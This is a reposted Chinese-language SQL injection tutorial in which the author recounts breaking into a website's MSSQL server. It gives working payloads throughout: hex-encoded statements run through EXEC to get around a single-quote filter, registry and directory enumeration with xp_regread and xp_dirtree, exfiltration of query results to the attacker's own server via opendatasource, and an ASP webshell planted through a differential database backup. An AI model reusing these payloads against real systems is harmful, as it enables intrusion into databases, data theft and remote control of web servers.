分享
 
 
 

SQL注入高级技巧nowthk篇

王朝mssql·作者佚名  2008-05-21
窄屏简体版  字體: |||超大  

我的目的主要是取得网站的目录,当然了,网站和mssql数据库在一台服务器上,权限DB_owner。

在某官网发现了一个注点,一个’号提示"xxxxxxxxxx’0’’出现错误",经过初步的分析是把单引号,直接转换成了0’,所以如果用工具肯定注入不了,实践证明工具不行,但能检测出来其权限为:DB_owner,手工检测的方法无非是:and1=(selectis_isvrolemember(’sysadmin’))这是简单检测系统权限。还好只是对单引号有限制,其它符号没有限制。不过这一点确实已经够麻烦的了。

我们的目的是检测网站目录在什么地方,如果找到的话,直接差异备份数据库,取得webshell。

首先提取IIS设置初期,网站目录在注册表中的位置,然后再暴出来。

建一个表xy,;createtablexy(xy1nvarchar(256)null),然后网表里插入其值,语句如下:;DECLARE@resultvarchar(255)EXECmaster.dbo.xp_regread’HKEY_LOCAL_MACHINE’,’SYSTEMControlSet001ServicesW3SVCParametersVirtualRoots’,’/’,@resultoutputinsertintoxy(xy1)values(@result)

由于对’单引号的转换,所以上面的命令肯定成功不了,这时我们可以想到再用declare函数,一开始我的做法为把’HKEY_LOCAL_MACHINE’和 ’SYSTEMControlSet001ServicesW3SVCParametersVirtualRoots’和’/’,这3个数据分别附于3个变量,这样语句构成为:;DECLARE@avarchar(255)select@a=0x484b45595f4c4f43414c5f4d414348494e45DECLARE@bvarchar(255)select@b=0x53595354454d5c434f4e54524f4c5365743030315c53657276696365735c57335356435c506172616d65746572735c5669727475616c20526f6f7473DECLARE@cvarchar(255)select@c=0x2fDECLARE@resultvarchar(255)execmaster.dbo.xp_regread@a,@b,@c,@resultoutputinsertxy(xy1)values(@result)--

没想到根本成功不了,我不清楚这个原因,然后去百度搜索原因,在邪恶八讨论区里看到无敌遇到的情况根我一样,至今还没有讨论出来结果,于是这种方法暂时先放一放,2天以后再得到了一种新方法,也是用declare于一个变量附值,不过这时附的不是某一数据,而是整句。方法如下:DECLARE@resultvarchar(255)EXECmaster.dbo.xp_regread’HKEY_LOCAL_MACHINE’,’SYSTEMControlSet001ServicesW3SVCParametersVirtualRoots’,’/’,@resultoutputinsertintoxy(xy1)values(@result)

全转换为16进制为:0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900这时用DECLARE@SNVARCHAR(4000);SET@S=CAST(0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900ASNVARCHAR(4000));EXEC(@S)

直接执行成功,呵呵,反正没有用到单引号,这种方法是现在所能想出来的了,也算一点点小小的突破吧。把上述语句直接在浏览器里提交,返回正常的页面,然后用and1=(selettop1xy1fromxy)成功暴出了网站的目录为d:wwwfuck,哈哈,怀着侥幸的心理直接在此目录下差异备份数据库,失败!结论:1、语句没有错误

2、目录有问题。于是现在猜一把,就猜网站目录在D盘,那么唯一可行的办法就是一个一个暴目录啊~,郁闷,极其麻烦的事情又要来临了!我比较懒,随后想到的就是sql里的opendatasource命令,我机器装有sql,IP为211.11.11.11,我想把远程执行sql返回的结果直接插到我自己机器sql所建的表中,所以这样比较轻松,为了证明是否成功,我先建一个表为ku(idnvarchar(255)),然后远程提交的格式为:insertintoopendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.kuselectnamefrommaster.dbo.sysdatabases

其中test为我自己的库,ku为test库中的表名

如果成功的话,在本地打开ku表,上述语句就会列出远程服务器中所有的库的名称。上面的语句有单引号,我们直接转换为16进制,转换后用如下语句提交即可:;DECLARE@SNVARCHAR(4000);SET@S=CAST(0x69006E007300650072007400200069006E0074006F0020006F00700065006E00640061007400610073006F00750072006300650028002700730071006C006F006C0065006400620027002C0027007300650072007600650072003D003200310031002E00310031002E00310031002E00310031003B007500690064003D00730061003B007000770064003D006600750063006B00210021003B00640061007400610062006100730065003D007400650073007400270029002E0074006500730074002E00640062006F002E006B0075002000730065006C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007400650072002E00640062006F002E00730079007300640061007400610062006100730065007300ASNVARCHAR(4000));EXEC(@S);

直接打开本地数据库test中的ku表,嘿嘿,成功列出了远程所有数据库的名称。

下面来返回服务器上D盘下的目录,嘿嘿,为了求速度,我只列一级目录。

建一个表;createtabletemp(idnvarchar(255),num1nvarchar(255))--成功

往表里插入所有各级数目录(一级目录为D盘根目录,二级就是下一层,三级依次类推),语句:;insertintotemp(id,num1)execmaster.dbo.xp_dirtree’D:’,有单引号,上面的语句肯定不成功,肯定要用declare附值变量,好了,我直接写语句:DECLARE@SNVARCHAR(4000);SET@S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D0070002800690064002C006E0075006D00310029002000650078006500630020006D00610073007400650072002E00640062006F002E00780070005F0064006900720074007200650065002000270044003A005C002700ASNVARCHAR(4000));EXEC(@S);

那么现在temp表中,已经有了所有D盘的目录了,其中num1=1为一级目录,num1=2为二级..等等。

好了,我把temp表中一级目录返回到本地吧

本地建表mulu(namechar(255)),远程语句:

insertintoopendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.muluselectidfromtempwherenum1=1转成16进制declare附变量提交,我日~~经过漫长由如死机的时间,失败了。。。弄不清楚原因,有知道的请联系我。既然懒的方法不行,算了,就勤快一些吧!郁闷!

上述的temp远程表中还有目录名呢,太乱,在远程直接建个新表:;createtalbetemp1(idnvarchar(4000))--然后把temp表中一级目录名称插到这里来,语句:;insertintotemp1(id)selectidfromtempwherenum1=1--然后再暴:and1=(selecttop1idfromtemp1whereid=1),提示:xxxxxxxxxxxx’MUbak’转换为int.....等出错等信息,我是不是很懒,连出错信息都不复制?明白就行了。暴下一个目录不可能用and1=(selecttop1idfromtemp1whereidnotin(’MUbak’))吧?因为里面有单引号呀,不是上面说可以用declare吗?错!这是暴,可不是执行命令呀,不要弄错!抽了一根烟,想了想,还有一个办法,再把temp1的目录一层一层地扒下来,把他们传递给temp2表,呵呵,肯定要先建表了;createtabletemp2(idchar(255))--。先想明白语句,我把temp1的id下所有的名称,给于temp2,而且不包括’MUbak’目录,那么语句应该是:

insertintotemp2(id)selectidfromtemp1whereidnotin(’MUbak’)

呵呵,有单引号,declare!!!,上面语句转16进制。

语句为: DECLARE@SNVARCHAR(4000);SET@S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D007000320028006900640029002000730065006C006500630074002000690064002000660072006F006D002000740065006D007000310020007700680065007200650020006900640020006E006F007400200069006E00280027004D005500620061006B0027002900ASNVARCHAR(4000));EXEC(@S);

这时,我在temp2暴表:and1=(selecttop1idfromtemp2),提示xxxxxxxxxxxx’wwwbak’转换为int.....等出错等信息。。呵呵,又一个目录出来了。然后删表temp2表,建temp3表,用上面的访法循环暴出下一个目录。

可能有人问,为什么要建temp3表,直接删掉temp2,然后再建temp2再用呀,不过经验认为,这里最好新建一个,本人认为是缓存的原因,否则一直用老表,暴错的信息为同一个。。。。好了,经过漫长的时间,终于找出了网站的目录为D:webwww,下来备份呗。;createtableriri(richar(255))--;insertintoriri(ri)values(0x3C25657865637574652872657175657374282261222929253E)--’0x3C25657865637574652872657175657374282261222929253E"为<%executerequest("a")%>;declare@asysname,@svarchar(4000)select@a=db_name(),@s=0x443a5c7765625c7777775c312e617370backupdatabase@atodisk=@sWITHDIFFERENTIAL,FORMAT

’0x443a5c7765625c7777775c312e617370为D:webwww1.asp

这时成功得在网站目录备分了一个1.asp,访问www.xxx.com/1.asp出现’execute’错误,呵呵,一个webshell到手了。看得很麻烦吧,如果有人做出工具来了就简单多了,否则累死你~~

哈哈,闪先~~

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有